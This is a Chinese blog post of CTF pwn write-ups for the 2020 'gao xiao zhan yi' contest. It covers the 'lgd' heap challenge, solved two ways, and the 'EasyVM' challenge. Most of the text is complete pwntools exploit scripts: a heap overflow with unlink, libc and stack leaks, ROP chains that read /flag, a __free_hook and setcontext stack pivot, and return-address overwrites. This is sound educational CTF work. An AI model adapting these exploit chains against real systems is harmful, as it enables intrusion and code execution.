2020高校战役

lgd:

解法一:

先查看程序开的保护:

 没开PIE保护。用IDA查看反编译代码:

 刚开始看的时候确实被这代码量吓了一条,不过仔细看看会发现dword_60303C和dword_603010这两个变量的值是不变的,这样好多代码是不会执行的或执行后没有什么变化,那么分析就简单了。

malloc时大小我们能控制,如下:

 在编辑函数中存在堆溢出:

 利用思路:

  • 先申请大小大于fastbin的chunk,free,在malloc,就可以泄漏libc基址(malloc是不会向其中写入数据,所以值不会变化)
  • 利用unlink控制buf指针所在内存块实现任意地址读写
  • libc中environ会存栈地址,可以里利用其泄漏栈地址
  • orw

exp如下:

#-*-coding:utf-8-*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./pwn')
libc = ELF('libc.so.6')

p.sendafter('name? ', 'A'*0x100)

def Add(size, content):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('______?\n', str(size))
    p.sendlineafter('yes_or_no?\n', content)

def Free(index):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('index ?\n', str(index))

def Show(index):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('index ?\n', str(index))

def Edit(index, content):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('index ?\n', str(index))
    p.sendafter('content ?\n', content)

Add(16, 'A'*0x200) #chunk0
Add(0x90, 'A'*0x200) #chunk1
Add(0x80, 'A'*0x200) #chunk2
Add(16, 'A'*0x10) #chunk3
Free(1)
payload = 'A'*0x20
Edit(0, payload)
Show(0)
p.recvuntil('A'*0x20)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78
info("libc_base ==> " + hex(libc_base))

open_addr = libc_base + libc.symbols['open']
info("open_addr ==> " + hex(open_addr))
read_addr = libc_base + libc.symbols['read']
info("read_addr ==> " + hex(read_addr))
puts_addr = libc_base + libc.symbols['puts']
info("puts_addr ==> " + hex(puts_addr))

#修复chunk1
payload = '\x00'*0x18 + p64(0xa1)
Edit(0, payload)

#unlink
Add(0x90, 'A'*0x200) #chunk1
payload = p64(0) + p64(0x91) + p64(0x6032e0+0x8-0x18) + p64(0x6032e0+0x8-0x10) + '\x00'*0x70 + p64(0x90) + p64(0x90)
Edit(1, payload)
Free(2)

environ = libc_base + libc.symbols['environ']
info("environ ==> " + hex(environ))

payload = '\x00'*0x10 + p64(environ)
Edit(1, payload)

Show(0)
stack_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x220
info("stack_addr ==> " + hex(stack_addr))

payload = '/flag' + '\x00'*11 + p64(stack_addr)
Edit(1, payload)

pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x1b92
pop_rdi_ret = 0x00000000004023b3

payload  = p64(pop_rdi_ret) + p64(0x6032d0) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) #open
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x6032c0) + p64(pop_rdx_ret) + p64(20) + p64(read_addr) #read
payload += p64(pop_rdi_ret) + p64(0x6032c0) + p64(puts_addr) #puts
Edit(0, payload)

p.interactive()

 解法二:

解法二核心思路仍然是orw,不同的是把栈迁移到堆上,利用思路:

  • 控制free_hook并向其中写入setcontext+53的地址
  • 提前在队中布好ROP链
  • free chunk,利用__free_hook迁移栈

exp如下:

#-*-coding:utf-8-*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./pwn')
elf = ELF('pwn')
libc = elf.libc

p.sendafter('name? ', 'A'*0x100)

def Add(size, content):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('______?\n', str(size))
    p.sendlineafter('yes_or_no?\n', content)

def Free(index):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('index ?\n', str(index))

def Show(index):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('index ?\n', str(index))

def Edit(index, content):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('index ?\n', str(index))
    p.sendafter('content ?\n', content)

Add(16, 'A'*0x200) #chunk0
Add(0x90, 'A'*0x200) #chunk1
Add(0x80, 'A'*0x200) #chunk2
Add(0x100, 'A'*0x200) #chunk3
Free(1)
payload = 'A'*0x20
Edit(0, payload)
Show(0)
p.recvuntil('A'*0x20)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78
info("libc_base ==> " + hex(libc_base))

open_addr = libc_base + libc.symbols['open']
info("open_addr ==> " + hex(open_addr))
read_addr = libc_base + libc.symbols['read']
info("read_addr ==> " + hex(read_addr))
puts_addr = libc_base + libc.symbols['puts']
info("puts_addr ==> " + hex(puts_addr))
free_hook = libc_base + libc.symbols['__free_hook']
info("free_hook ==> " + hex(free_hook))
setcontext = libc_base + libc.symbols['setcontext']
info("setcontext ==> " + hex(setcontext))

#修复chunk1
payload = '\x00'*0x18 + p64(0xa1)
Edit(0, payload)

#unlink
Add(0x90, 'A'*0x200) #chunk1
payload = p64(0) + p64(0x91) + p64(0x6032e0+0x8-0x18) + p64(0x6032e0+0x8-0x10) + '\x00'*0x70 + p64(0x90) + p64(0x90)
Edit(1, payload)
Free(2)

payload = 'A'*0x10
Edit(1, payload)
Show(1)
p.recvuntil('A'*16)
chunk_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00')) + 0x1c0 + 0x30
info("chunk_addr ==> " + hex(chunk_addr))

payload = '/flag' + '\x00'*11 + p64(free_hook)
Edit(1, payload)

payload = p64(setcontext+53)
Edit(0, payload)

pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x1b92
pop_rdi_ret = 0x00000000004023b3

payload = '\x00'*0xa0 + p64(chunk_addr+0x10) + p64(pop_rdi_ret)
payload += p64(0x6032d0) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) #open
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x6032c0) + p64(pop_rdx_ret) + p64(20) + p64(read_addr) #read
payload += p64(pop_rdi_ret) + p64(0x6032c0) + p64(puts_addr) #puts
#gdb.attach(p, 'b * 0x401a97')
Edit(3, payload)
Free(3)

p.interactive()

 EasyVM:

先查看程序开的保护:

 发现保护全开。用IDA查看反编译出来的伪代码:

 这是在初始化模拟寄存器,v[1],v[2]……可以理解为模拟的寄存器

 这是模拟的的指令,比如输入113就可以执行对应的指令。

仔细分析程序,发现这几个指令对我们是有用的:

 

 

 

 

 

 

 题目有提供给我们一个有bug的选项

第一步:

 此时可以控制dword_305c,那么先执行指令9,在指令指令17,就可打印出其中的地址,减去固定偏移就可以得到代码段基址

Bug()
Process('\x09\x11\x99')
Start()

code_addr = int(p.recv(10), 16) - 0x6c0
info("code_addr ==> " + hex(code_addr))

第二步:

根据第一步拿到的代码段基址加上got表偏移就能拿到got表基址,先后执行指令113,118,83就可以泄漏其中的函数地址从而拿到libc基址

puts_got = elf.got['puts'] + code_addr

payload  = '\x71' + p32(puts_got) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(puts_got+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(puts_got+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(puts_got+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x99'

Process(payload)
Start()

puts_addr = u32(p.recv(4))
info("puts_got ==> " + hex(puts_addr))


libc_base = puts_addr - libc.symbols['puts']

第三步:

这里我踩了很多坑,一一记录一下:

我最先的想法是输入指令113,118, 84向__free_hook中写入one_gadget,但是每一个都不满足one_gadget的执行条件

之后我又该为向__mallc_hook中写入realloc,在向__realloc_hook中写入one_gadget,结果还是不行

考虑到程序有puts,printf函数,我打算修改vtable表中其中一个值,结果发现其不可写,我又打算伪造整个vtable结果出错了,而且我调试的时候getchar函数无法读入数据,我也不知道为什么

最后我选择利用environ泄漏stack地址然后利用ROP,终于这一次成功了。

one_gadget = libc_base + 0x5fbc5
free_hook = libc_base + libc.symbols['__free_hook']
info("one_gadget ==> " + hex(one_gadget))
realloc_addr = libc_base + libc.symbols['__libc_realloc']
info("realloc_addr ==> " + hex(realloc_addr))
environ = libc_base + libc.symbols['environ']
info("environ ==> " + hex(environ))

#泄漏栈地址
payload  = '\x71' + p32(environ) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(environ+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(environ+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(environ+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x99'
Process(payload)
Start()
stack_addr = u32(p.recv(4)) - 0x100
info("stack_addr ==> " + hex(stack_addr))

#修改返回地址
payload  = '\x71' + p32(stack_addr) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x71' + p32(stack_addr+1) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x71' + p32(stack_addr+2) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x71' + p32(stack_addr+3) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x99'
Process(payload)
#gdb.attach(p)
Start()

p.send(p32(one_gadget)[0])
#sleep(1)
p.send(p32(one_gadget)[1])
#sleep(1)
p.send(p32(one_gadget)[2])
#sleep(1)
p.send(p32(one_gadget)[3])

最终的exp如下:

#-*-coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./EasyVM')
elf = ELF('EasyVM')
libc = elf.libc

def Process(content):
    p.sendlineafter('>>> \n', '1')
    p.send(content)

def Start():
    p.sendlineafter('>>> \n', '2')

def Recyle():
    p.sendlineafter('>>> \n', '3')

def Bug():
    p.sendlineafter('>>> \n', '4')


Bug()
Process('\x09\x11\x99')
Start()

code_addr = int(p.recv(10), 16) - 0x6c0
info("code_addr ==> " + hex(code_addr))
puts_got = elf.got['puts'] + code_addr

payload  = '\x71' + p32(puts_got) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(puts_got+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(puts_got+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(puts_got+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x99'

Process(payload)
Start()

puts_addr = u32(p.recv(4))
info("puts_got ==> " + hex(puts_addr))


libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x5fbc5
free_hook = libc_base + libc.symbols['__free_hook']
info("one_gadget ==> " + hex(one_gadget))
realloc_addr = libc_base + libc.symbols['__libc_realloc']
info("realloc_addr ==> " + hex(realloc_addr))
environ = libc_base + libc.symbols['environ']
info("environ ==> " + hex(environ))

#泄漏栈地址
payload  = '\x71' + p32(environ) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(environ+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(environ+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x71' + p32(environ+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00'
payload += '\x99'
Process(payload)
Start()
stack_addr = u32(p.recv(4)) - 0x100
info("stack_addr ==> " + hex(stack_addr))

#修改返回地址
payload  = '\x71' + p32(stack_addr) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x71' + p32(stack_addr+1) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x71' + p32(stack_addr+2) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x71' + p32(stack_addr+3) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00'
payload += '\x99'
Process(payload)
#gdb.attach(p)
Start()

p.send(p32(one_gadget)[0])
#sleep(1)
p.send(p32(one_gadget)[1])
#sleep(1)
p.send(p32(one_gadget)[2])
#sleep(1)
p.send(p32(one_gadget)[3])

#Recyle()

p.interactive()

 

posted @ 2020-03-18 11:28  countfatcode  阅读(469)  评论(0编辑  收藏  举报